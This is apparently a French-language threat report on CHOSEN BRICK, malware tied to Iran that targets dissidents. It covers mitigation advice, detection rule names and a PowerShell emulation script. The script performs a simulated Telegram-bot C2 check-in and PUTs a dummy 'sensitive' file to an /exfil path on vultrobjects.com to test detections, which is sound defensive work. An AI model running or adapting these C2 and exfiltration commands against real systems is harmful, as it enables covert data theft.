Cyber ciblage iranien des dissidents, militants et journalistes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les acteurs parrainés par l’État iranien utilisent le malware CHOSEN BRICK pour cibler les dissidents, les activistes et les journalistes dans le monde entier. Le malware est distribué par ingénierie sociale sur des plateformes telles que WhatsApp et Telegram, souvent déguisé en applications ou fichiers légitimes. Une fois installé, CHOSEN BRICK permet le vol de données, l’enregistrement par microphone et l’effacement du système via une commande et un contrôle basés sur Telegram.
Enquête
L’enquête a identifié un schéma récurrent d’ingénierie sociale suivi par le déploiement de CHOSEN BRICK sur les systèmes Windows. Les analystes ont observé l’utilisation par le malware de bots Telegram pour les communications C2 et des services de stockage cloud pour l’exfiltration des données. La persistance est établie via des clés de registre Run spécifiques, tandis que des exclusions de Microsoft Defender sont ajoutées pour aider à échapper aux contrôles de sécurité.
Atténuation
Les atténuations recommandées incluent l’amélioration de la sensibilisation des utilisateurs aux techniques d’ingénierie sociale et l’évitement des logiciels distribués via des pièces jointes non sollicitées. Les organisations devraient également appliquer une MFA résistante au phishing, mettre en place une liste blanche des applications et maintenir à jour les logiciels antivirus. La surveillance des connexions suspectes à Telegram et aux fournisseurs de stockage cloud connus peut renforcer encore la détection.
Réponse
Si une activité de CHOSEN BRICK est détectée, les organisations devraient travailler avec leurs fournisseurs informatiques pour examiner les journaux des points de terminaison à la recherche de clés de registre et de chemins de fichiers associés. Les appareils à la fois professionnels et personnels utilisés par des individus à haut risque devraient être examinés. Les équipes de sécurité devraient également rechercher les domaines, noms de fichiers et autres indicateurs techniques associés à la campagne.
Flux d’attaque
Nous mettons encore à jour cette partie.
Détections
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Abus possible de Telegram comme canal de commande et de contrôle (via dns_query)
Utilisation de CHOSEN BRICK de Telegram et VultrObjects pour des communications malveillantes [Connexion réseau Windows]
Détection de la persistance de CHOSEN BRICK via la clé de registre Run [Événement du registre Windows]
Exécution de simulation
-
Narration d’attaque et commandes : L’adversaire cherche à établir une commande et un contrôle (C2) et à exfiltrer des données sensibles. Pour échapper aux antivirus traditionnels basés sur les signatures, ils utilisent des services web légitimes. Tout d’abord, l’attaquant exécute une commande pour « check-in » avec leur serveur C2 via l’API Telegram (
api.telegram.org). Ensuite, l’attaquant simule l’exfiltration d’un fichier sensible en le téléchargeant dans un compartiment de stockage hébergé survultrobjects.com. Ces actions sont effectuées via des requêtes web standards pour se fondre dans le trafic web chiffré légitime, espérant contourner l’inspection et ne se faire prendre que si des IoC spécifiques sont connus. -
Script de test de régression :
# Script de simulation : Emulation des TTP de CHOSEN BRICK # Ce script simule le C2 via Telegram et l'exfiltration via VultrObjects $C2_Domain = "api.telegram.org" $Exfil_Domain = "vultrobjects.com" Write-Host "[+] Démarrage de la simulation : Émulation des TTP de CHOSEN BRICK..." -ForegroundColor Cyan # 1. Simulation du check-in C2 (API Telegram) Write-Host "[*] Étape 1 : Simulation du check-in C2 à $C2_Domain" -ForegroundColor Yellow try { $c2_response = Invoke-WebRequest -Uri "https://$C2_Domain/bot123456:ABC-DEF/getUpdates" -Method Get -ErrorAction SilentlyContinue Write-Host "[+] Requête C2 envoyée." -ForegroundColor Green } catch { Write-Host "[!] Remarque : Échec de la connexion (attendu si pas d'internet/proxy), mais la télémétrie devrait toujours être générée." -ForegroundColor Gray } # 2. Simulation de l'exfiltration de données (VultrObjects) Write-Host "[*] Étape 2 : Simulation de l'exfiltration de données vers $Exfil_Domain" -ForegroundColor Yellow $dummy_data = "Ceci est une information hautement sensible qui est exfiltrée." $dummy_file = "$env:TEMPsensitive_data.txt" $dummy_data | Out-File -FilePath $dummy_file try { # Simulation d'une demande PUT à un point de terminaison de stockage cloud Invoke-RestMethod -Uri "https://$Exfil_Domain/exfil/data_dump.txt" -Method Put -Body $dummy_data -ContentType "text/plain" -ErrorAction SilentlyContinue Write-Host "[+] Demande d'exfiltration envoyée." -ForegroundColor Green } catch { Write-Host "[!] Remarque : Échec de la connexion (attendu si pas d'internet/proxy), mais la télémétrie devrait toujours être générée." -ForegroundColor Gray } Write-Host "[+] Simulation terminée. Vérifiez les journaux de proxy dans le SIEM impliquant $C2_Domain et $Exfil_Domain." -ForegroundColor Cyan -
Commandes de nettoyage :
# Script de nettoyage $dummy_file = "$env:TEMPsensitive_data.txt" if (Test-Path $dummy_file) { Remove-Item -Path $dummy_file -Force Write-Host "[+] Nettoyage : Fichier d'exfiltration factice supprimé." -ForegroundColor Green } else { Write-Host "[!] Nettoyage : Fichier factice non trouvé." -ForegroundColor Yellow }